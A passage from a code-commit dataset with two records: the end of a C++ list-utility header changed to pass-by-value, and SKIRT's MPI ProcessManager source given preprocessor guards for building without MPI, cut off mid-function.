for(unsigned j = 0, h = i; h; h >>= 1, ++j) {\n if(h & 1)\n temp.push_back(*(first + j));\n }\n result.push_back(temp);\n temp.clear();\n }\n return result;\n}\n\ntemplate<class Cont>\ninline auto permutations(Cont&& cont) -> Rebind<Unqualified<Cont>, Unqualified<Cont>> {\n Rebind<Unqualified<Cont>, Unqualified<Cont>> result;\n Unqualified<Cont> temp(std::forward<Cont>(cont));\n do {\n result.push_back(temp);\n }\n while(std::next_permutation(std::begin(temp), std::end(temp)));\n return result;\n}\n} \/\/ lia\n\n#endif \/\/ LIA_TRANSFORMS_LIST_COMP_HPP<commit_msg>Universal reference to pass-by-value<commit_after>#ifndef LIA_TRANSFORMS_LIST_COMP_HPP\n#define LIA_TRANSFORMS_LIST_COMP_HPP\n\n\/\/ Includes\n#include \"..\/detail\/iterator.hpp\"\n#include \"..\/detail\/type_traits.hpp\"\n#include <algorithm>\n\nnamespace lia {\ntemplate<class Cont, typename Map>\ninline auto map(const Cont& cont, Map&& mapped) -> Rebind<Cont, ResultOf<Unqualified<Map>>> {\n Rebind<Cont, ResultOf<Unqualified<Map>>> result;\n std::transform(std::begin(cont),std::end(cont), std::back_inserter(result),mapped);\n return result;\n}\n\ntemplate<class Cont>\ninline Unqualified<Cont> reverse(Cont&& cont) {\n Unqualified<Cont> result;\n std::reverse_copy(std::begin(cont), std::end(cont), std::back_inserter(result));\n return result;\n}\n\ntemplate<class Cont>\ninline Unqualified<Cont> intersperse(const Cont& cont, ValueType<Unqualified<Cont>> elem) {\n Unqualified<Cont> result;\n auto first = std::begin(cont);\n auto last = std::end(cont);\n if(first != last)\n result.push_back(*first++);\n while(first != last) {\n result.push_back(elem);\n result.push_back(*first++);\n }\n return result;\n}\n\ntemplate<class Cont>\ninline auto subsequences(const Cont& cont) -> Rebind<Cont, Unqualified<Cont>> {\n Rebind<Cont, Unqualified<Cont>> result;\n auto first = std::begin(cont);\n Unqualified<Cont> temp;\n auto max = 1ULL << cont.size();\n for(unsigned i = 0; i < max; ++i) {\n for(unsigned j = 0, h = i; h; h >>= 1, ++j) {\n if(h & 1)\n temp.push_back(*(first + j));\n }\n result.push_back(temp);\n temp.clear();\n }\n return result;\n}\n\ntemplate<class Cont>\ninline auto permutations(Cont cont) -> Rebind<Unqualified<Cont>, Unqualified<Cont>> {\n Rebind<Unqualified<Cont>, Unqualified<Cont>> result;\n do {\n result.push_back(cont);\n }\n while(std::next_permutation(std::begin(cont), std::end(cont)));\n return result;\n}\n} \/\/ lia\n\n#endif \/\/ LIA_TRANSFORMS_LIST_COMP_HPP<|endoftext|>"} {"text":"<commit_before>\/*\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/\/\/ SKIRT -- an advanced radiative transfer code \/\/\/\/\n\/\/\/\/ © Astronomical Observatory, Ghent University \/\/\/\/\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/ *\/\n\n#ifdef BUILDING_WITH_MPI\n#include <mpi.h>\n#endif\n\n#include \"ProcessManager.hpp\"\n#include <QDataStream>\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\nnamespace\n{\n void createDisplacedDoubleBlocks(int blocklength, const std::vector<int>& displacements, MPI_Datatype* newtypeP,\n int extent = -1)\n {\n int count = displacements.size();\n\n \/\/ Multiply the displacements by the block length\n std::vector<int> multiplied_disp;\n multiplied_disp.reserve(count);\n for(auto i: displacements) multiplied_disp.push_back(blocklength*i);\n\n \/\/ Create a datatype representing a structure of displaced blocks of the same size;\n MPI_Datatype indexedBlock;\n MPI_Type_create_indexed_block(count, blocklength, &multiplied_disp[0], MPI_DOUBLE, &indexedBlock);\n\n \/\/ Pad this datatype to modify the extent to the requested value\n MPI_Aint lb;\n MPI_Aint ex;\n MPI_Type_get_extent(indexedBlock, &lb, &ex);\n\n if (extent != -1)\n {\n MPI_Type_create_resized(indexedBlock, lb, extent*sizeof(double), newtypeP);\n \/\/ Commit the final type and free the intermediary one\n MPI_Type_commit(newtypeP);\n MPI_Type_free(&indexedBlock);\n }\n else\n {\n \/\/ No padding, just store the indexed block\n *newtypeP = indexedBlock;\n MPI_Type_commit(newtypeP);\n }\n }\n}\n\nstd::atomic<int> ProcessManager::requests(0);\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\nvoid ProcessManager::initialize(int *argc, char ***argv)\n{\n#ifdef BUILDING_WITH_MPI\n int initialized;\n MPI_Initialized(&initialized);\n if (!initialized)\n {\n MPI_Init(argc, argv);\n }\n#else\n Q_UNUSED(argc) Q_UNUSED(argv)\n#endif\n}\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\nvoid ProcessManager::finalize()\n{\n#ifdef BUILDING_WITH_MPI\n MPI_Finalize();\n#endif\n}\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\nvoid ProcessManager::acquireMPI(int& rank, int& Nprocs)\n{\n#ifdef BUILDING_WITH_MPI\n int oldrequests = requests++;\n\n if (oldrequests) \/\/ if requests >=1\n {\n Nprocs = 1;\n rank = 0;\n }\n else \/\/ requests == 0\n {\n MPI_Comm_size(MPI_COMM_WORLD, &Nprocs);\n MPI_Comm_rank(MPI_COMM_WORLD, &rank);\n }\n#else\n rank = 0;\n Nprocs = 1;\n#endif\n}\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\nvoid ProcessManager::releaseMPI()\n{\n#ifdef BUILDING_WITH_MPI\n requests--;\n#endif\n}\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\nvoid ProcessManager::barrier()\n{\n#ifdef BUILDING_WITH_MPI\n MPI_Barrier(MPI_COMM_WORLD);\n#endif\n}\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\nvoid ProcessManager::sendByteBuffer(QByteArray& buffer, int receiver, int tag)\n{\n#ifdef BUILDING_WITH_MPI\n MPI_Send(buffer.data(), buffer.size(), MPI_BYTE, receiver, tag, MPI_COMM_WORLD);\n#else\n Q_UNUSED(buffer) Q_UNUSED(receiver) Q_UNUSED(tag)\n#endif\n}\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\nvoid ProcessManager::receiveByteBuffer(QByteArray& buffer, int& sender)\n{\n#ifdef BUILDING_WITH_MPI\n MPI_Status status;\n MPI_Recv(buffer.data(), buffer.size(), MPI_BYTE, MPI_ANY_SOURCE, MPI_ANY_TAG, MPI_COMM_WORLD, &status);\n sender = status.MPI_SOURCE;\n#else\n Q_UNUSED(buffer) Q_UNUSED(sender)\n#endif\n}\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\nvoid ProcessManager::receiveByteBuffer(QByteArray &buffer, int sender, int& tag)\n{\n#ifdef BUILDING_WITH_MPI\n MPI_Status status;\n MPI_Recv(buffer.data(), buffer.size(), MPI_BYTE, sender, MPI_ANY_TAG, MPI_COMM_WORLD, &status);\n tag = status.MPI_TAG;\n#else\n Q_UNUSED(buffer) Q_UNUSED(sender) Q_UNUSED(tag)\n#endif\n}\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\nvoid ProcessManager::gatherw(double* sendBuffer, int sendCount,\n double* recvBuffer, int recvRank, int recvLength,\n const std::vector<std::vector<int>>& recvDisplacements)\n{\n#ifdef BUILDING_WITH_MPI\n int size;\n int rank;\n MPI_Comm_size(MPI_COMM_WORLD, &size);\n MPI_Comm_rank(MPI_COMM_WORLD, &rank);\n\n \/\/ parameters for the senders\n std::vector<int> sendcnts(size, 0); \/\/ every process sends nothing to all processes\n sendcnts[recvRank] = sendCount; \/\/ except to the receiver\n std::vector<int> sdispls(size, 0); \/\/ starting from sendBuffer + 0\n std::vector<MPI_Datatype> sendtypes(size, MPI_DOUBLE); \/\/ all doubles\n\n \/\/ parameters on the receiving end\n std::vector<int> recvcnts;\n if (rank != recvRank) recvcnts.resize(size, 0); \/\/ I am not receiver: receive nothing from every process\n else recvcnts.resize(size, 1); \/\/ I am receiver: receive 1 from every process\n std::vector<int> rdispls(size, 0); \/\/ displacements will be contained in the datatypes\n std::vector<MPI_Datatype> recvtypes; \/\/ we will construct derived datatypes for receiving from each process\n recvtypes.reserve(size);\n\n for (int r=0; r<size; r++)\n {\n MPI_Datatype newtype;\n createDisplacedDoubleBlocks(recvLength, recvDisplacements[r], &newtype);\n recvtypes.push_back(newtype);\n }\n\n MPI_Alltoallw(sendBuffer, &sendcnts[0], &sdispls[0], &sendtypes[0],\n recvBuffer, &recvcnts[0], &rdispls[0], &recvtypes[0],\n MPI_COMM_WORLD);\n\n for (int rank=0; rank<size; rank++) MPI_Type_free(&recvtypes[rank]);\n#else\n Q_UNUSED(sendBuffer) Q_UNUSED(sendCount) Q_UNUSED(recvBuffer) Q_UNUSED(recvRank) Q_UNUSED(recvDisplacements)\n#endif\n}\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\nvoid ProcessManager::displacedBlocksAllToAll(double* sendBuffer, int sendCount,\n const std::vector<std::vector<int>>& sendDisplacements, int sendLength,\n int sendExtent, double* recvBuffer, int recvCount,\n const std::vector<std::vector<int>>& recvDisplacements, int recvLength,\n int recvExtent)\n{\n#ifdef BUILDING_WITH_MPI\n int size;\n MPI_Comm_size(MPI_COMM_WORLD, &size);\n\n std::vector<int> sendcnts(size,sendCount);\n std::vector<int> sdispls(size, 0);\n std::vector<MPI_Datatype> sendtypes;\n sendtypes.reserve(size);\n\n std::vector<int> recvcnts(size, recvCount);\n std::vector<int> rdispls(size, 0);\n std::vector<MPI_Datatype> recvtypes;\n recvtypes.reserve(size);\n\n for (int r=0; r<size; r++)\n {\n MPI_Datatype newtype;\n createDisplacedDoubleBlocks(sendLength, sendDisplacements[r], &newtype, sendExtent);\n sendtypes.push_back(newtype);\n\n createDisplacedDoubleBlocks(recvLength, recvDisplacements[r], &newtype, recvExtent);\n recvtypes.push_back(newtype);\n }\n\n MPI_Alltoallw(sendBuffer, &sendcnts[0], &sdispls[0], &sendtypes[0],\n recvBuffer, &recvcnts[0], &rdispls[0], &recvtypes[0],\n MPI_COMM_WORLD);\n\n for (int r=0; r<size; r++)\n {\n MPI_Type_free(&sendtypes[r]);\n MPI_Type_free(&recvtypes[r]);\n }\n#else\n Q_UNUSED(sendBuffer) Q_UNUSED(sendCount) Q_UNUSED(sendDisplacements) Q_UNUSED(sendLength)\n Q_UNUSED(recvBuffer) Q_UNUSED(recvCount) Q_UNUSED(recvDisplacements) Q_UNUSED(recvLength)\n#endif\n}\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\nvoid ProcessManager::sum(double* my_array, double* result_array, int nvalues, int root)\n{\n#ifdef BUILDING_WITH_MPI\n MPI_Reduce(my_array, result_array, nvalues, MPI_DOUBLE, MPI_SUM, root, MPI_COMM_WORLD);\n#else\n Q_UNUSED(my_array) Q_UNUSED(result_array) Q_UNUSED(nvalues) Q_UNUSED(root)\n#endif\n}\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\nvoid ProcessManager::sum_all(double* my_array, int nvalues)\n{\n#ifdef BUILDING_WITH_MPI\n MPI_Allreduce(MPI_IN_PLACE, my_array, nvalues, MPI_DOUBLE, MPI_SUM, MPI_COMM_WORLD);\n#else\n Q_UNUSED(my_array) Q_UNUSED(nvalues)\n#endif\n}\n\nvoid ProcessManager::or_all(bool* boolean)\n{\n#ifdef BUILDING_WITH_MPI\n MPI_Allreduce(MPI_IN_PLACE, boolean, 1, MPI_C_BOOL, MPI_LOR, MPI_COMM_WORLD);\n#else\n Q_UNUSED(boolean)\n#endif\n\n}\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\nvoid ProcessManager::broadcast(double* my_array, int nvalues, int root)\n{\n#ifdef BUILDING_WITH_MPI\n MPI_Bcast(my_array, nvalues, MPI_DOUBLE, root, MPI_COMM_WORLD);\n#else\n Q_UNUSED(my_array) Q_UNUSED(nvalues) Q_UNUSED(root)\n#endif\n}\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\nvoid ProcessManager::broadcast(int* value, int root)\n{\n#ifdef BUILDING_WITH_MPI\n MPI_Bcast(value, 1, MPI_INT, root, MPI_COMM_WORLD);\n#else\n Q_UNUSED(value) Q_UNUSED(root)\n#endif\n}\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\nbool ProcessManager::isRoot()\n{\n#ifdef BUILDING_WITH_MPI\n int rank;\n MPI_Comm_rank(MPI_COMM_WORLD, &rank);\n return (rank == 0);\n#else\n return true;\n#endif\n}\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\nbool ProcessManager::isMultiProc()\n{\n#ifdef BUILDING_WITH_MPI\n int size;\n MPI_Comm_size(MPI_COMM_WORLD, &size);\n return (size > 1);\n#else\n return false;\n#endif\n}\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n<commit_msg>Add preprocessor directives for compiling without MPI<commit_after>\/*\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/\/\/ SKIRT -- an advanced radiative transfer code \/\/\/\/\n\/\/\/\/ © Astronomical Observatory, Ghent University \/\/\/\/\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/ *\/\n\n#ifdef BUILDING_WITH_MPI\n#include <mpi.h>\n#endif\n\n#include \"ProcessManager.hpp\"\n#include <QDataStream>\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\n#ifdef BUILDING_WITH_MPI\nnamespace\n{\n void createDisplacedDoubleBlocks(int blocklength, const std::vector<int>& displacements, MPI_Datatype* newtypeP,\n int extent = -1)\n {\n int count = displacements.size();\n\n \/\/ Multiply the displacements by the block length\n std::vector<int> multiplied_disp;\n multiplied_disp.reserve(count);\n for(auto i: displacements) multiplied_disp.push_back(blocklength*i);\n\n \/\/ Create a datatype representing a structure of displaced blocks of the same size;\n MPI_Datatype indexedBlock;\n MPI_Type_create_indexed_block(count, blocklength, &multiplied_disp[0], MPI_DOUBLE, &indexedBlock);\n\n \/\/ Pad this datatype to modify the extent to the requested value\n MPI_Aint lb;\n MPI_Aint ex;\n MPI_Type_get_extent(indexedBlock, &lb, &ex);\n\n if (extent != -1)\n {\n MPI_Type_create_resized(indexedBlock, lb, extent*sizeof(double), newtypeP);\n \/\/ Commit the final type and free the intermediary one\n MPI_Type_commit(newtypeP);\n MPI_Type_free(&indexedBlock);\n }\n else\n {\n \/\/ No padding, just store the indexed block\n *newtypeP = indexedBlock;\n MPI_Type_commit(newtypeP);\n }\n }\n}\n#endif\n\nstd::atomic<int> ProcessManager::requests(0);\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\nvoid ProcessManager::initialize(int *argc, char ***argv)\n{\n#ifdef BUILDING_WITH_MPI\n int initialized;\n MPI_Initialized(&initialized);\n if (!initialized)\n {\n MPI_Init(argc, argv);\n }\n#else\n Q_UNUSED(argc) Q_UNUSED(argv)\n#endif\n}\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\nvoid ProcessManager::finalize()\n{\n#ifdef BUILDING_WITH_MPI\n MPI_Finalize();\n#endif\n}\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\nvoid ProcessManager::acquireMPI(int& rank, int& Nprocs)\n{\n#ifdef BUILDING_WITH_MPI\n int oldrequests = requests++;\n\n if (oldrequests) \/\/ if requests >=1\n {\n Nprocs = 1;\n rank = 0;\n }\n else \/\/ requests == 0\n {\n MPI_Comm_size(MPI_COMM_WORLD, &Nprocs);\n MPI_Comm_rank(MPI_COMM_WORLD, &rank);\n }\n#else\n rank = 0;\n Nprocs = 1;\n#endif\n}\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\nvoid ProcessManager::releaseMPI()\n{\n#ifdef BUILDING_WITH_MPI\n requests--;\n#endif\n}\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\nvoid ProcessManager::barrier()\n{\n#ifdef BUILDING_WITH_MPI\n MPI_Barrier(MPI_COMM_WORLD);\n#endif\n}\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\nvoid ProcessManager::sendByteBuffer(QByteArray& buffer, int receiver, int tag)\n{\n#ifdef BUILDING_WITH_MPI\n MPI_Send(buffer.data(), buffer.size(), MPI_BYTE, receiver, tag, MPI_COMM_WORLD);\n#else\n Q_UNUSED(buffer) Q_UNUSED(receiver) Q_UNUSED(tag)\n#endif\n}\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\nvoid ProcessManager::receiveByteBuffer(QByteArray& buffer, int& sender)\n{\n#ifdef BUILDING_WITH_MPI\n MPI_Status status;\n MPI_Recv(buffer.data(), buffer.size(), MPI_BYTE, MPI_ANY_SOURCE, MPI_ANY_TAG, MPI_COMM_WORLD, &status);\n sender = status.MPI_SOURCE;\n#else\n Q_UNUSED(buffer) Q_UNUSED(sender)\n#endif\n}\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\nvoid ProcessManager::receiveByteBuffer(QByteArray &buffer, int sender, int& tag)\n{\n#ifdef BUILDING_WITH_MPI\n MPI_Status status;\n MPI_Recv(buffer.data(), buffer.size(), MPI_BYTE, sender, MPI_ANY_TAG, MPI_COMM_WORLD, &status);\n tag = status.MPI_TAG;\n#else\n Q_UNUSED(buffer) Q_UNUSED(sender) Q_UNUSED(tag)\n#endif\n}\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\nvoid ProcessManager::gatherw(double* sendBuffer, int sendCount,\n double* recvBuffer, int recvRank, int recvLength,\n const std::vector<std::vector<int>>& recvDisplacements)\n{\n#ifdef BUILDING_WITH_MPI\n int size;\n int rank;\n MPI_Comm_size(MPI_COMM_WORLD, &size);\n MPI_Comm_rank(MPI_COMM_WORLD, &rank);\n\n \/\/ parameters for the senders\n std::vector<int> sendcnts(size, 0); \/\/ every process sends nothing to all processes\n sendcnts[recvRank] = sendCount; \/\/ except to the receiver\n std::vector<int> sdispls(size, 0); \/\/ starting from sendBuffer + 0\n std::vector<MPI_Datatype> sendtypes(size, MPI_DOUBLE); \/\/ all doubles\n\n \/\/ parameters on the receiving end\n std::vector<int> recvcnts;\n if (rank != recvRank) recvcnts.resize(size, 0); \/\/ I am not receiver: receive nothing from every process\n else recvcnts.resize(size, 1); \/\/ I am receiver: receive 1 from every process\n std::vector<int> rdispls(size, 0); \/\/ displacements will be contained in the datatypes\n std::vector<MPI_Datatype> recvtypes; \/\/ we will construct derived datatypes for receiving from each process\n recvtypes.reserve(size);\n\n for (int r=0; r<size; r++)\n {\n MPI_Datatype newtype;\n createDisplacedDoubleBlocks(recvLength, recvDisplacements[r], &newtype);\n recvtypes.push_back(newtype);\n }\n\n MPI_Alltoallw(sendBuffer, &sendcnts[0], &sdispls[0], &sendtypes[0],\n recvBuffer, &recvcnts[0], &rdispls[0], &recvtypes[0],\n MPI_COMM_WORLD);\n\n for (int rank=0; rank<size; rank++) MPI_Type_free(&recvtypes[rank]);\n#else\n Q_UNUSED(sendBuffer) Q_UNUSED(sendCount) Q_UNUSED(recvBuffer) Q_UNUSED(recvRank) Q_UNUSED(recvLength) Q_UNUSED(recvDisplacements)\n#endif\n}\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\nvoid ProcessManager::displacedBlocksAllToAll(double* sendBuffer, int sendCount,\n const std::vector<std::vector<int>>& sendDisplacements, int sendLength,\n int sendExtent, double* recvBuffer, int recvCount,\n const std::vector<std::vector<int>>& recvDisplacements, int recvLength,\n int recvExtent)\n{\n#ifdef BUILDING_WITH_MPI\n int size;\n MPI_Comm_size(MPI_COMM_WORLD, &size);\n\n std::vector<int> sendcnts(size,sendCount);\n std::vector<int> sdispls(size, 0);\n std::vector<MPI_Datatype> sendtypes;\n sendtypes.reserve(size);\n\n std::vector<int> recvcnts(size, recvCount);\n std::vector<int> rdispls(size, 0);\n std::vector<MPI_Datatype> recvtypes;\n recvtypes.reserve(size);\n\n for (int r=0; r<size; r++)\n {\n MPI_Datatype newtype;\n createDisplacedDoubleBlocks(sendLength, sendDisplacements[r], &newtype, sendExtent);\n sendtypes.push_back(newtype);\n\n createDisplacedDoubleBlocks(recvLength, recvDisplacements[r], &newtype, recvExtent);\n recvtypes.push_back(newtype);\n }\n\n MPI_Alltoallw(sendBuffer, &sendcnts[0], &sdispls[0], &sendtypes[0],\n recvBuffer, &recvcnts[0], &rdispls[0], &recvtypes[0],\n MPI_COMM_WORLD);\n\n for (int r=0; r<size; r++)\n {\n MPI_Type_free(&sendtypes[r]);\n MPI_Type_free(&recvtypes[r]);\n }\n#else\n Q_UNUSED(sendBuffer) Q_UNUSED(sendCount) Q_UNUSED(sendDisplacements) Q_UNUSED(sendLength) Q_UNUSED(sendExtent)\n Q_UNUSED(recvBuffer) Q_UNUSED(recvCount) Q_UNUSED(recvDisplacements) Q_UNUSED(recvLength) Q_UNUSED(recvExtent)\n#endif\n}\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\nvoid ProcessManager::sum(double* my_array, double* result_array, int nvalues, int root)\n{\n#ifdef BUILDING_WITH_MPI\n MPI_Reduce(my_array, result_array, nvalues, MPI_DOUBLE, MPI_SUM, root, MPI_COMM_WORLD);\n#else\n Q_UNUSED(my_array) Q_UNUSED(result_array) Q_UNUSED(nvalues) Q_UNUSED(root)\n#endif\n}\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\nvoid ProcessManager::sum_all(double* my_array, int nvalues)\n{\n#ifdef BUILDING_WITH_MPI\n MPI_Allreduce(MPI_IN_PLACE, my_array, nvalues, MPI_DOUBLE, MPI_SUM, MPI_COMM_WORLD);\n#else\n Q_UNUSED(my_array) Q_UNUSED(nvalues)\n#endif\n}\n\nvoid ProcessManager::or_all(bool* boolean)\n{\n#ifdef BUILDING_WITH_MPI\n MPI_Allreduce(MPI_IN_PLACE, boolean, 1, MPI_C_BOOL, MPI_LOR, MPI_COMM_WORLD);\n#else\n 